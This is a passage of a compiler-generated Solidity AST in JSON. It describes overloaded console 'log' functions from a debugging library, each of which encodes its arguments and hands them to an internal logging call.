memory"}],"expression":{"id":21011,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"44621:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21012,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"44625:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"44621:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21018,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44621:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21010,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"44605:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21019,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44605:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21020,"nodeType":"ExpressionStatement","src":"44605:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"44532:3:14","parameters":{"id":21008,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21001,"mutability":"mutable","name":"p0","nameLocation":"44541:2:14","nodeType":"VariableDeclaration","scope":21022,"src":"44536:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21000,"name":"bool","nodeType":"ElementaryTypeName","src":"44536:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21003,"mutability":"mutable","name":"p1","nameLocation":"44550:2:14","nodeType":"VariableDeclaration","scope":21022,"src":"44545:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21002,"name":"uint","nodeType":"ElementaryTypeName","src":"44545:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21005,"mutability":"mutable","name":"p2","nameLocation":"44559:2:14","nodeType":"VariableDeclaration","scope":21022,"src":"44554:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21004,"name":"bool","nodeType":"ElementaryTypeName","src":"44554:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21007,"mutability":"mutable","name":"p3","nameLocation":"44577:2:14","nodeType":"VariableDeclaration","scope":21022,"src":"44563:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21006,"name":"string","nodeType":"ElementaryTypeName","src":"44563:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"44535:45:14"},"returnParameters":{"id":21009,"nodeType":"ParameterList","parameters":[],"src":"44595:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21045,"nodeType":"FunctionDefinition","src":"44704:164:14","nodes":[],"body":{"id":21044,"nodeType":"Block","src":"44767:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c626f6f6c2c626f6f6c29","id":21036,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"44817:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_9e01f7417c5ff66a2399364b03788fbf8437045d38acf377fab727a3440df7be","typeString":"literal_string \"log(bool,uint,bool,bool)\""},"value":"log(bool,uint,bool,bool)"},{"id":21037,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21024,"src":"44845:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21038,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21026,"src":"44849:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21039,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21028,"src":"44853:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21040,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21030,"src":"44857:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9e01f7417c5ff66a2399364b03788fbf8437045d38acf377fab727a3440df7be","typeString":"literal_string \"log(bool,uint,bool,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":21034,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"44793:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21035,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"44797:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"44793:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21041,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44793:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21033,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"44777:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21042,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44777:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21043,"nodeType":"ExpressionStatement","src":"44777:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"44713:3:14","parameters":{"id":21031,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21024,"mutability":"mutable","name":"p0","nameLocation":"44722:2:14","nodeType":"VariableDeclaration","scope":21045,"src":"44717:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21023,"name":"bool","nodeType":"ElementaryTypeName","src":"44717:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21026,"mutability":"mutable","name":"p1","nameLocation":"44731:2:14","nodeType":"VariableDeclaration","scope":21045,"src":"44726:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21025,"name":"uint","nodeType":"ElementaryTypeName","src":"44726:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21028,"mutability":"mutable","name":"p2","nameLocation":"44740:2:14","nodeType":"VariableDeclaration","scope":21045,"src":"44735:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21027,"name":"bool","nodeType":"ElementaryTypeName","src":"44735:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21030,"mutability":"mutable","name":"p3","nameLocation":"44749:2:14","nodeType":"VariableDeclaration","scope":21045,"src":"44744:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21029,"name":"bool","nodeType":"ElementaryTypeName","src":"44744:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"44716:36:14"},"returnParameters":{"id":21032,"nodeType":"ParameterList","parameters":[],"src":"44767:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21068,"nodeType":"FunctionDefinition","src":"44874:170:14","nodes":[],"body":{"id":21067,"nodeType":"Block","src":"44940:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c626f6f6c2c6164647265737329","id":21059,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"44990:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_4267c7f8f9987b1bc934e31e016f4d182f67ab95e55c5567fbc71b4f01a83f4b","typeString":"literal_string \"log(bool,uint,bool,address)\""},"value":"log(bool,uint,bool,address)"},{"id":21060,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21047,"src":"45021:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21061,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21049,"src":"45025:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21062,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21051,"src":"45029:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21063,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21053,"src":"45033:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4267c7f8f9987b1bc934e31e016f4d182f67ab95e55c5567fbc71b4f01a83f4b","typeString":"literal_string \"log(bool,uint,bool,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":21057,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"44966:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21058,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"44970:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"44966:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21064,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44966:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21056,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"44950:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21065,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44950:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21066,"nodeType":"ExpressionStatement","src":"44950:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"44883:3:14","parameters":{"id":21054,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21047,"mutability":"mutable","name":"p0","nameLocation":"44892:2:14","nodeType":"VariableDeclaration","scope":21068,"src":"44887:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21046,"name":"bool","nodeType":"ElementaryTypeName","src":"44887:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21049,"mutability":"mutable","name":"p1","nameLocation":"44901:2:14","nodeType":"VariableDeclaration","scope":21068,"src":"44896:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21048,"name":"uint","nodeType":"ElementaryTypeName","src":"44896:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21051,"mutability":"mutable","name":"p2","nameLocation":"44910:2:14","nodeType":"VariableDeclaration","scope":21068,"src":"44905:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21050,"name":"bool","nodeType":"ElementaryTypeName","src":"44905:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21053,"mutability":"mutable","name":"p3","nameLocation":"44922:2:14","nodeType":"VariableDeclaration","scope":21068,"src":"44914:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21052,"name":"address","nodeType":"ElementaryTypeName","src":"44914:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"44886:39:14"},"returnParameters":{"id":21055,"nodeType":"ParameterList","parameters":[],"src":"44940:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21091,"nodeType":"FunctionDefinition","src":"45050:170:14","nodes":[],"body":{"id":21090,"nodeType":"Block","src":"45116:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c616464726573732c75696e7429","id":21082,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"45166:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_caa5236acb25f4f5a01ec5f570d99d895d397c7e9fd20ed31c9c33fa8a17f26d","typeString":"literal_string \"log(bool,uint,address,uint)\""},"value":"log(bool,uint,address,uint)"},{"id":21083,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21070,"src":"45197:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21084,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21072,"src":"45201:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21085,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21074,"src":"45205:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21086,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21076,"src":"45209:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_caa5236acb25f4f5a01ec5f570d99d895d397c7e9fd20ed31c9c33fa8a17f26d","typeString":"literal_string \"log(bool,uint,address,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":21080,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"45142:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21081,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"45146:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"45142:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21087,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45142:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21079,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"45126:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21088,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45126:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21089,"nodeType":"ExpressionStatement","src":"45126:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"45059:3:14","parameters":{"id":21077,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21070,"mutability":"mutable","name":"p0","nameLocation":"45068:2:14","nodeType":"VariableDeclaration","scope":21091,"src":"45063:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21069,"name":"bool","nodeType":"ElementaryTypeName","src":"45063:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21072,"mutability":"mutable","name":"p1","nameLocation":"45077:2:14","nodeType":"VariableDeclaration","scope":21091,"src":"45072:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21071,"name":"uint","nodeType":"ElementaryTypeName","src":"45072:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21074,"mutability":"mutable","name":"p2","nameLocation":"45089:2:14","nodeType":"VariableDeclaration","scope":21091,"src":"45081:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21073,"name":"address","nodeType":"ElementaryTypeName","src":"45081:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21076,"mutability":"mutable","name":"p3","nameLocation":"45098:2:14","nodeType":"VariableDeclaration","scope":21091,"src":"45093:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21075,"name":"uint","nodeType":"ElementaryTypeName","src":"45093:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"45062:39:14"},"returnParameters":{"id":21078,"nodeType":"ParameterList","parameters":[],"src":"45116:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21114,"nodeType":"FunctionDefinition","src":"45226:181:14","nodes":[],"body":{"id":21113,"nodeType":"Block","src":"45301:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c616464726573732c737472696e6729","id":21105,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"45351:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_180913415ccbde45e0d2184e3dd2387bed86df0066bd73fcb896bc02a6226689","typeString":"literal_string \"log(bool,uint,address,string)\""},"value":"log(bool,uint,address,string)"},{"id":21106,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21093,"src":"45384:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21107,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21095,"src":"45388:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21108,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21097,"src":"45392:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21109,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21099,"src":"45396:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_180913415ccbde45e0d2184e3dd2387bed86df0066bd73fcb896bc02a6226689","typeString":"literal_string \"log(bool,uint,address,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":21103,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"45327:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21104,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"45331:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"45327:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21110,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45327:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21102,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"45311:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21111,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45311:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21112,"nodeType":"ExpressionStatement","src":"45311:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"45235:3:14","parameters":{"id":21100,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21093,"mutability":"mutable","name":"p0","nameLocation":"45244:2:14","nodeType":"VariableDeclaration","scope":21114,"src":"45239:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21092,"name":"bool","nodeType":"ElementaryTypeName","src":"45239:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21095,"mutability":"mutable","name":"p1","nameLocation":"45253:2:14","nodeType":"VariableDeclaration","scope":21114,"src":"45248:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21094,"name":"uint","nodeType":"ElementaryTypeName","src":"45248:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21097,"mutability":"mutable","name":"p2","nameLocation":"45265:2:14","nodeType":"VariableDeclaration","scope":21114,"src":"45257:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21096,"name":"address","nodeType":"ElementaryTypeName","src":"45257:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21099,"mutability":"mutable","name":"p3","nameLocation":"45283:2:14","nodeType":"VariableDeclaration","scope":21114,"src":"45269:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21098,"name":"string","nodeType":"ElementaryTypeName","src":"45269:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"45238:48:14"},"returnParameters":{"id":21101,"nodeType":"ParameterList","parameters":[],"src":"45301:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21137,"nodeType":"FunctionDefinition","src":"45413:170:14","nodes":[],"body":{"id":21136,"nodeType":"Block","src":"45479:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c616464726573732c626f6f6c29","id":21128,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"45529:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_65adf4082cd731bd1252f957eddeecdbdcf11e48975b5ac20d902fcb218153fa","typeString":"literal_string \"log(bool,uint,address,bool)\""},"value":"log(bool,uint,address,bool)"},{"id":21129,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21116,"src":"45560:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21130,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21118,"src":"45564:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21131,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21120,"src":"45568:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21132,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21122,"src":"45572:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_65adf4082cd731bd1252f957eddeecdbdcf11e48975b5ac20d902fcb218153fa","typeString":"literal_string \"log(bool,uint,address,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":21126,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"45505:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21127,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"45509:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"45505:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21133,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45505:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21125,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"45489:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21134,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"45489:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21135,"nodeType":"ExpressionStatement","src":"45489:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"45422:3:14","parameters":{"id":21123,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21116,"mutability":"mutable","name":"p0","nameLocation":"45431:2:14","nodeType":"VariableDeclaration","scope":21137,"src":"45426:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21115,"name":"bool","nodeType":"ElementaryTypeName","src":"45426:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21118,"mutability":"mutable","name":"p1","nameLocation":"45440:2:14","nodeType":"VariableDeclaration","scope":21137,"src":"45435:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21117,"name":"uint","nodeType":"ElementaryTypeName","src":"45435:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21120,"mutability":"mutable","name":"p2","nameLocation":"45452:2:14","nodeType":"VariableDeclaration","scope":21137,"src":"45444:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions